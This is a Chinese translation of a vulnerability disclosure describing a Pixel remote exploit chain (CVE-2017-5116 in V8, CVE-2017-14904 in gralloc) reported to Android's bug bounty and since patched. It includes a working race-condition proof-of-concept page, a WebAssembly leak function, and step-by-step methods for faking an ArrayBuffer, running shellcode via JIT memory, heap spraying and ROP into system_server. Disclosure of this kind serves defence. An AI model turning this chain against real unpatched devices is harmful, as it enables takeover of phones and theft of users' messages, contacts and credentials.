Android 安全生態投資系統為Pixel支付獎勵金

2017年6月,Android安全團隊提高了Android漏洞獎勵計劃(ASR)的最高獎金額度,並與研究人員一起簡化了漏洞提交流程。2017年8月,奇虎360科技有限公司Alpha團隊的龔廣,提交了自ASR項目開展以來第一個有效的遠程利用鏈。龔廣提交了詳細的報告,因此被授予105000美元的獎勵,這是有史以來ASR最高的獎勵,同時也獲得Chrome獎勵項目的7500美元獎金,總共112500美元。這一整套安全問題,作為2017年12月份的安全更新中的一部分,已經被修復。安全補丁級別為2017-12-05或更高版本的設備將不受影響。

所有的使用A/B(無縫)系統更新的pixel設備或者合作合夥設備將自動安裝這些更新,用戶需要重新啟動設備來完成更新。

Android安全團隊要感謝龔廣以及研究者社區對Android安全的貢獻。如果你想參與Android漏洞獎勵計劃,可以查看項目規則。有關如何提交報告的提示,請參閱Bug Hunter University。

以下是奇虎360公司Alpha團隊的龔廣提交的安全報告。

Pixel遠程攻擊鏈的技術細節

Pixel 手機受到多個層面的安全保護,是2017 Mobile Pwn2Own 比賽中唯一沒有被攻破的設備。但是,2017年8月,我們團隊發現了一個遠程攻擊鏈——這是ASR項目開展以來的首個遠程有效利用。感謝Android安全團隊在漏洞處理過程中的快速響應和幫助。

這篇文章涵蓋了漏洞利用鏈的技術細節。利用鏈使用了兩個漏洞,CVE-2017-5116 和 CVE-2017-14904,CVE-2017-5116是V8引擎漏洞,用於在Chrome沙箱渲染進程中獲得代碼執行。CVE-2017-14904是Android里libgmalloc模塊中的一個bug,用於逃逸Chrome的沙箱。將兩者結合,通過在Chrome瀏覽器里訪問一個惡意的連接,該攻擊鏈可以往系統服務進程注入任意代碼。如果想要重現漏洞利用,下面是一個包含漏洞的環境:

Chrome 60.3112.107 + Android 7.1.2 (Security patch level 2017-8-05)

(google/sailfish/sailfish:7.1.2/NJH47F/4146041:user/release-keys)。

RCE漏洞(CVE-2017-5116)

新功能通常會帶來新的問題。V8 6.0版本引入了對SharedArrayBuffer的支持,它是JavaScript worker線程用來共享內存的一種底層機制。SharedArrayBuffer 使 JavaScript 能夠原子的、互斥的訪問共享內存。WebAssembly是一種可以在現代Web瀏覽器中運行的新類型的代碼,它是一種低級彙編式語言,具有緊湊的二進位格式,以接近原生代碼的性能運行,並提供語言(如C/C++)編譯功能,以便他們可以在web上運行。 結合Chrome的三個特性,SharedArrayBuffer、 WebAssembly以及web worker,通過條件競爭,可以觸發越界訪問。簡單來講,WebAssembly代碼可以被放進 SharedArrayBuffer,將SharedArrayBuffer傳送給web worker,當主線程解析WebAssembly代碼的時候,worker線程可以修改這個代碼,從而導致越界訪問。

漏洞代碼在函數GetFirstArgumentAsBytes中,函數參數可以是ArrayBuffer或者TypedArray 對象。 SharedArrayBuffer 引入 JavaScript 之後,TypedArray可以使用

SharedArrayBuffer作為存儲結構,因此其他worker線程在任何時候都可能修TypedArray中的內容。

i::wasm::ModuleWireBytes GetFirstArgumentAsBytes(nconst v8::FunctionCallbackInfo<v8::Value>& args, ErrorThrower* thrower) {n......n} else if (source->IsTypedArray()) {n //--->source should be checked if its backed by a SharedArrayBuffern // A TypedArray was passed.n Local<TypedArray> array = Local<TypedArray>::Cast(source);n Local<ArrayBuffer> buffer = array->Buffer();n ArrayBuffer::Contents contents = buffer->GetContents();n start =reinterpret_cast<const byte*>(contents.Data()) + array->ByteOffset();n length = array->ByteLength();n}n......nreturn i::wasm::ModuleWireBytes(start, start + length);n}n

一個簡單的PoC如下:

<html>n<h1>poc</h1>n<script id="worker1">nworker:{n self.onmessage = function(arg) {n console.log("worker started");n var ta = new Uint8Array(arg.data);n var i =0;n while(1){n if(i==0){n i=1;n ta[51]=0; //--->4)modify the webassembly code at the same timen }else{n i=0;n ta[51]=128;n }n }n }n}n</script>n<script>nfunction getSharedTypedArray(){nvar wasmarr = [n0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,n0x01, 0x05, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03,n0x03, 0x02, 0x00, 0x00, 0x07, 0x12, 0x01, 0x0e,n0x67, 0x65, 0x74, 0x41, 0x6e, 0x73, 0x77, 0x65,n0x72, 0x50, 0x6c, 0x75, 0x73, 0x31, 0x00, 0x01,n0x0a, 0x0e, 0x02, 0x04, 0x00, 0x41, 0x2a, 0x0b,n0x07, 0x00, 0x10, 0x00, 0x41, 0x01, 0x6a, 0x0b];nvar sb = new SharedArrayBuffer(wasmarr.length);n//---> 1)put WebAssembly code in a SharedArrayBuffernvar sta = new Uint8Array(sb);nfor(var i=0;i<sta.length;i++)nsta[i]=wasmarr[i];nreturn sta;n}nvar blob = new Blob([ndocument.querySelector(#worker1).textContentn], { type: "text/javascript" })nvar worker = new Worker(window.URL.createObjectURL(blob)); //---> 2)create a web workernvar sta = getSharedTypedArray();nworker.postMessage(sta.buffer);n//--->3)pass the WebAssembly code to the web workernsetTimeout(function(){nwhile(1){n try{n sta[51]=0;n var myModule = new WebAssembly.Module(sta); //--->4)parse the WebAssembly coden var myInstance = new WebAssembly.Instance(myModule);n //myInstance.exports.getAnswerPlus1();n }catch(e){n}n}n},1000);n//worker.terminate();n</script>n</html>n

WebAssembly代碼的文本格式如下:

00002b func[0]:n00002d: 41 2a | i32.const 42n00002f: 0b | endn000030 func[1]:n000032: 10 00 | call 0n000034: 41 01 | i32.const 1n000036: 6a | i32.addn000037: 0b | endn

首先,把上面二進位格式的WebAssembly代碼放進一個 SharedArrayBuffer,然後創建一個 TypedArray數組,並且使用包含WebAssembly代碼的SharedArrayBuffer作為其緩衝區。之後,創建一個worker線程,並且將SharedArrayBuffer傳入這個新創建的worker 線程。當主線程解析 WebAssembly代碼的同時,worker 線程修改SharedArrayBuffer的內容。

在這種情況下,條件競爭引發了TOCTOU問題。主線程邊界檢測完成之後,指令」call 0″ 可以被worker 線程修改為」call 128″,當主線程解析並且編譯WebAssembly代碼時,越界訪問就會發生。

由於 「call 0」 指令可以被修改為任何其他的WebAssembly函數,因此漏洞利用非常簡單。 如果 「call 0」 被修改為 「call $leak」,寄存器和棧上的內容將會被泄漏到到Web Assembly內存中。由於函數 「0」 和函數 「$leak」的參數個數不同,這將導致棧上許多有用的數據被泄露。

(func $leak(param i32 i32 i32 i32 i32 i32)(result i32)n i32.const 0n get_local 0n i32.storen i32.const 4n get_local 1n i32.storen i32.const 8n get_local 2n i32.storen i32.const 12n get_local 3n i32.storen i32.const 16n get_local 4n i32.storen i32.const 20n get_local 5n i32.storen i32.const 0n ))n

不僅僅是 「call 0」 指令可以被修改,任何 「call funcx」 指令都可以被修改。假設 funcx 是一個帶有6個參數的如下函數,當V8在ia32架構下編譯的時候,前5個參數通過寄存器傳遞,第六個參數通過棧傳遞。所有的參數值可以通過 JavaScript 被設置為任何值。

/*Text format of funcx*/n (func $simple6 (param i32 i32 i32 i32 i32 i32 ) (result i32)n get_local 5n get_local 4n i32.add)nn/*Disassembly code of funcx*/n--- Code ---nkind = WASM_FUNCTIONnname = wasm#1ncompiler = turbofannInstructions (size = 20)n0x58f87600 0 8b442404 mov eax,[esp+0x4]n0x58f87604 4 03c6 add eax,esin0x58f87606 6 c20400 ret 0x4n0x58f87609 9 0f1f00 nopnnSafepoints (size = 8)nnRelocInfo (size = 0)nn--- End code ---n

當 JavaScript 調用 WebAssembly 函數的時候,v8編譯器在內部創建一個 JS_TO_WASM 函數,編譯完之後,JavaScript 函數將會調用創建的 JS_TO_WASM 函數,然後 JS_TO_WASM 將會調用 WebAssembly 函數。JS_TO_WASM 使用不同的調用方式,它的第一個參數是通過棧傳遞的。如果 「call funcx」 被修改為如下 JS_TO_WASM 函數,

/*Disassembly code of JS_TO_WASM function */n--- Code ---nkind = JS_TO_WASM_FUNCTIONnname = js-to-wasm#0ncompiler = turbofannInstructions (size = 170)n0x4be08f20 0 55 push ebpn0x4be08f21 1 89e5 mov ebp,espn0x4be08f23 3 56 push esin0x4be08f24 4 57 push edin0x4be08f25 5 83ec08 sub esp,0x8n0x4be08f28 8 8b4508 mov eax,[ebp+0x8]n0x4be08f2b b e8702e2bde call 0x2a0bbda0 (ToNumber) ;; code: BUILTINn0x4be08f30 10 a801 test al,0x1n0x4be08f32 12 0f852a000000 jnz 0x4be08f62 <+0x42>n

JS_TO_WASM 函數將會把 funcx 的第六個參數當做它的第一個參數,但是它把第一個參數當做對象指針,因此當把這個參數傳遞ToNumber函數,將會產生類型混淆問題,這也意味著我們可以將任何被當做對象指針的數值傳遞給ToNumber函數。因此,我們可以在某些地址如在一個double array中偽造一個ArrayBuffe對象,並將其傳給ToNumber函數。ArrayBuffer 的布局如下:

/* ArrayBuffer layouts 40 Bytes*/ nMap nProperties nElements nByteLength nBackingStore nAllocationBase nAllocationLength nFields ninternal ninternal nnn/* Map layouts 44 Bytes*/ nstatic kMapOffset = 0, nstatic kInstanceSizesOffset = 4, nstatic kInstanceAttributesOffset = 8, nstatic kBitField3Offset = 12, nstatic kPrototypeOffset = 16, nstatic kConstructorOrBackPointerOffset = 20, nstatic kTransitionsOrPrototypeInfoOffset = 24, nstatic kDescriptorsOffset = 28, nstatic kLayoutDescriptorOffset = 1, nstatic kCodeCacheOffset = 32, nstatic kDependentCodeOffset = 36, nstatic kWeakCellCacheOffset = 40, nstatic kPointerFieldsBeginOffset = 16, nstatic kPointerFieldsEndOffset = 44, nstatic kInstanceSizeOffset = 4, nstatic kInObjectPropertiesOrConstructorFunctionIndexOffset = 5, nstatic kUnusedOffset = 6, nstatic kVisitorIdOffset = 7, nstatic kInstanceTypeOffset = 8, //one byte nstatic kBitFieldOffset = 9, nstatic kInstanceTypeAndBitFieldOffset = 8, nstatic kBitField2Offset = 10, nstatic kUnusedPropertyFieldsOffset = 11n

由於棧上的內容可以被泄露出去,所以我們可以獲取很多有用的數據來偽造這個 ArrayBuffer,例如,我們可以泄露一個對象的起始地址,計算該對象的elements屬性的起始地址,elements屬性是FixedArray類型的對象。我們可以使用這個FixedArray對象作為偽造的ArrayBuffer的properties和elements屬性部分,同時我們還得偽造ArrayBuffer的map屬性部分。幸運的是,在觸發漏洞的時候,大多數map屬性欄位並沒有被使用。

但是偏移8個位元組的InstanceType必須設置為0xc3(這個值取決於V8的版本),用來表明這個對象是 ArrayBuffer。為了在JavaScript中獲得偽造的ArrayBuffer的引用,我們必須將map中偏移16位元組的Prototype欄位設置為一個對象,該對象的Symbol.toPrimitive屬性是一個JavaScript回調函數。當這個偽造的數組傳進ToNumber函數,ArrayBuffer對象會被轉換成數字,此回調函數將會被調用。因此我們在回調函數中可以得到偽造的ArrayBuffer的引用。由於ArrayBuffer偽造在double array中,該array的內容可以被設置成任意值,因此我們可以修改偽造的ArrayBuffer的BackingStore和ByteLength欄位,從而獲得任意地址讀寫的能力。有了任意地址讀寫能力,執行shellcode將非常簡單。Chrome中JIT代碼是可讀、可寫、可執行的,因此我們可以通過覆蓋JIT代碼來執行ShellCode。

Chrome團隊非常迅速的在chrome 61.0.3163.79版本中修復了這個問題,僅僅在我們提交此利用一周之後就修復了。

提權漏洞(EoP) (CVE-2017-14904)

沙箱逃逸漏洞是由於map和unmap不匹配導致的Use-After-Unmap問題,漏洞代碼位於gralloc_map和gralloc_unmap函數:

static int gralloc_map(gralloc_module_t const* module,nbuffer_handle_t handle){n ……nprivate_handle_t* hnd = (private_handle_t*)handle;n……nif (!(hnd->flags & private_handle_t::PRIV_FLAGS_FRAMEBUFFER) &&n!(hnd->flags & private_handle_t::PRIV_FLAGS_SECURE_BUFFER)) {n size = hnd->size;n err = memalloc->map_buffer(&mappedAddress, size,n hnd->offset, hnd->fd);n//---> mapped an ashmem and get the mapped address. the ashmem fd and offset can be controlled by Chrome rn if(err || mappedAddress == MAP_FAILED) {n ALOGE("Could not mmap handle %p, fd=%d (%s)",n handle, hnd->fd, strerror(errno));n return -errno;n }nhnd->base = uint64_t(mappedAddress) + hnd->offset;n//---> save mappedAddress+offset to hnd->basen} nelse {nerr = -EACCES;n}n……nreturn err;n} n

gralloc_map將由參數handle控制的圖形緩衝區映到內存,gralloc_unmap 進行unmap,被映射的地址加上hnd->offset賦值給hnd->base,但是在unmap的時候,hnd->base直接傳遞給unmap系統調用,並沒有減去hnd->offset。hnd->offset可以被Chrome的沙箱進程中控制,因此可以從Chrome沙箱的渲染進程中unmap system_server中的任何內存頁。

static int gralloc_unmap(gralloc_module_t const* module,nbuffer_handle_t handle)n{n……nif(hnd->base) {n err = memalloc->unmap_buffer((void*)hnd->base, hnd->size, hnd->offset);n//---> while unmapping, hnd->offset is not used, hnd->base is used as the base address, map and unmap aren if (err) {n ALOGE("Could not unmap memory at address %p, %s", (void*) hnd->base,n strerror(errno));n return -errno;n }n hnd->base = 0;n}n……nreturn 0;n}nint IonAlloc::unmap_buffer(void *base, unsigned int size,nunsigned int /*offset*/)n//---> look, offset is not used by unmap_buffern{nint err = 0;nif(munmap(base, size)) {n err = -errno;n ALOGE("ion: Failed to unmap memory at %p : %s",n base, strerror(errno));n}nreturn err;n} n

儘管SeLinux限制了isolated_app域訪問大多數Android系統服務,但是isolated_app仍然可以訪問三個系統服務。

neverallow isolated_app {n service_manager_typen -activity_servicen -display_servicen -webviewupdate_servicen}:service_manager find;n

為了從Chrome沙箱進程中觸發上面提到的Use-After-Unmap漏洞,首先將一個可序列化的GraphicBuffer對象放進bundle,然後調用IActivityManager的binder方法convertToTranslucent,將惡意的bundle傳遞給system_server,當system_server處理這個惡意的bundle的時候,這個漏洞就會被觸發。

這個提權漏洞指向的攻擊面與我在2016 MoSec上介紹的相同,安卓Chrome沙箱逃逸的一種姿勢,也類似於Bitunmap,但是從Chrome的沙箱進程中利用此種類型的漏洞要比從app中利用困難的多。

這個提權漏洞的利用大概可以分為六步:

  1. 地址空間整形,使地址空間布局看起來如下,一個堆塊正好在一些連續的ashmem映射之上:

7f54600000-7f54800000 rw-p 00000000 00:00 0 [anon:libc_malloc]n7f58000000-7f54a00000 rw-s 001fe000 00:04 32783 /dev/ashmem/360alpha29 (deleted)n7f54a00000-7f54c00000 rw-s 00000000 00:04 32781 /dev/ashmem/360alpha28 (deleted)n7f54c00000-7f54e00000 rw-s 00000000 00:04 32779 /dev/ashmem/360alpha27 (deleted)n7f54e00000-7f55000000 rw-s 00000000 00:04 32777 /dev/ashmem/360alpha26 (deleted)n7f55000000-7f55200000 rw-s 00000000 00:04 32775 /dev/ashmem/360alpha25 (deleted)n......n

  1. 通過觸發漏洞,unmap掉堆塊的一部分(1KB)和一部分共享內存空間(ashmem: 2MB-1KB)

7f54400000-7f54600000 rw-s 00000000 00:04 31603 /dev/ashmem/360alpha1000 (deleted)n7f54600000-7f547ff000 rw-p 00000000 00:00 0 [anon:libc_malloc]n//--->There is a 2MB memory gapn7f549ff000-7f54a00000 rw-s 001fe000 00:04 32783 /dev/ashmem/360alpha29 (deleted)n7f54a00000-7f54c00000 rw-s 00000000 00:04 32781 /dev/ashmem/360alpha28 (deleted)n7f54c00000-7f54e00000 rw-s 00000000 00:04 32779 /dev/ashmem/360alpha27 (deleted)n7f54e00000-7f55000000 rw-s 00000000 00:04 32777 /dev/ashmem/360alpha26 (deleted)n7f55000000-7f55200000 rw-s 00000000 00:04 32775 /dev/ashmem/360alpha25 (deleted)n

  1. 用ashmem內存填充unmap掉的地址空間

7f54400000-7f54600000 rw-s 00000000 00:04 31603 /dev/ashmem/360alpha1000 (deleted)n7f54600000-7f547ff000 rw-p 00000000 00:00 0 [anon:libc_malloc]n7f547ff000-7f549ff000 rw-s 00000000 00:04 31605 /dev/ashmem/360alpha1001 (deleted) n//--->The gap is filled with the ashmem memory 360alpha1001n7f549ff000-7f54a00000 rw-s 001fe000 00:04 32783 /dev/ashmem/360alpha29 (deleted)n7f54a00000-7f54c00000 rw-s 00000000 00:04 32781 /dev/ashmem/360alpha28 (deleted)n7f54c00000-7f54e00000 rw-s 00000000 00:04 32779 /dev/ashmem/360alpha27 (deleted)n7f54e00000-7f55000000 rw-s 00000000 00:04 32777 /dev/ashmem/360alpha26 (deleted)n7f55000000-7f55200000 rw-s 00000000 00:04 32775 /dev/ashmem/360alpha25 (deleted)n

  1. 通過堆噴射,將堆數據寫入ashmem內存中

7f54400000-7f54600000 rw-s 00000000 00:04 31603 /dev/ashmem/360alpha1000 (deleted)n7f54600000-7f547ff000 rw-p 00000000 00:00 0 [anon:libc_malloc]n7f547ff000-7f549ff000 rw-s 00000000 00:04 31605 /dev/ashmem/360alpha1001 (deleted)n//--->the heap manager believes the memory range from 0x7f547ff000 to 0x7f54800000 is still mongered by it and will allocate memory from this range, result in heap data is written to ashmem memoryn7f549ff000-7f54a00000 rw-s 001fe000 00:04 32783 /dev/ashmem/360alpha29 (deleted)n7f54a00000-7f54c00000 rw-s 00000000 00:04 32781 /dev/ashmem/360alpha28 (deleted)n7f54c00000-7f54e00000 rw-s 00000000 00:04 32779 /dev/ashmem/360alpha27 (deleted)n7f54e00000-7f55000000 rw-s 00000000 00:04 32777 /dev/ashmem/360alpha26 (deleted)n7f55000000-7f55200000 rw-s 00000000 00:04 32775 /dev/ashmem/360alpha25 (deleted)n

  1. 由於步驟3中的填充的ashmem可以被同時映射在system_server進程和渲染進程中,渲染進程可以讀寫system_server進程中的部分堆的內容,我們可以觸發system_server在ashmem中分配一些GraphicBuffer對象。 因為GraphicBuffer繼承ANativeWindowBuffer類,ANativeWindowBuffer類有個叫common的成員,它的類型是android_native_base_t。我們可以從ashmem讀取兩個函數指針(incRef和decRef),並計算libui模塊的基地址。在最新的Pixel設備中,Chrome渲染進程仍然是32位的,但是system_server是64位進程,因此我們還需泄露一些模塊的基地址,用來ROP。現在,我們擁有libui模塊的基地址,最後的步驟就是觸發ROP。不太幸運的是,函數指針incRef和decRef看起來並沒有被使用,不可能通過修改他們跳轉到ROP,但是我們可以修改GraphicBuffer的虛表,從而觸發ROP。

typedef struct android_native_base_tn{n/* a magic value defined by the actual EGL native type */nint magic;n/* the sizeof() of the actual EGL native type */nint version;nvoid* reserved[4];n/* reference-counting interface */nvoid (*incRef)(struct android_native_base_t* base);nvoid (*decRef)(struct android_native_base_t* base);n} android_native_base_t; n

  1. 觸發GC,執行ROP,當GraphicBuffer對象析構的時候,虛函數onLastStrongRef 將被調用,因此我們可以覆蓋此函數,從而跳轉到ROP,這樣控制流轉入ROP。從一個單一的libui模塊找到合適的ROP鏈非常具有挑戰性,但是經過不斷的努力,我們成功找到了一個ROP鏈,並且將/data/misc/wifi/wpa_supplicant.conf的文件內容轉存出來了。

因為system_server是許可權很高的系統進程,能以system_server的身份執行任意代碼意味著手機中絕大部分數據都可以被獲取,手機的大部分許可權可能被惡意使用。此漏洞鏈可能帶來的危害包括但不限於獲取手機的簡訊,通訊錄,照片,通過後台程序使用手機發簡訊,打電話,錄音錄像等。

小結

對於我們的報告,Android安全團隊響應非常迅速,在2017年12月的安全更新中修復了這兩個漏洞。2017-12-05的安全補丁或更高版本的設備,將不受影響。但是在敏感的位置解析不可信的parcels仍然存在,Android安全團隊正在努力加固平台,以緩解類似的漏洞。

登錄安全客 - 有思想的安全新媒體www.anquanke.com/,或下載安全客APP來獲取更多最新資訊吧~


推薦閱讀:

golang 實現 LD_PRELOAD 攔截 libc
《網路勝利組》腳本陣對談
如何搞垮情敵?
為什麼最近通過163郵箱註冊steam賬號容易被盜!?
速度超快、小巧的代理掃描器(xsec-proxy-scanner)

TAG:Android | 互联网 | 网络安全 |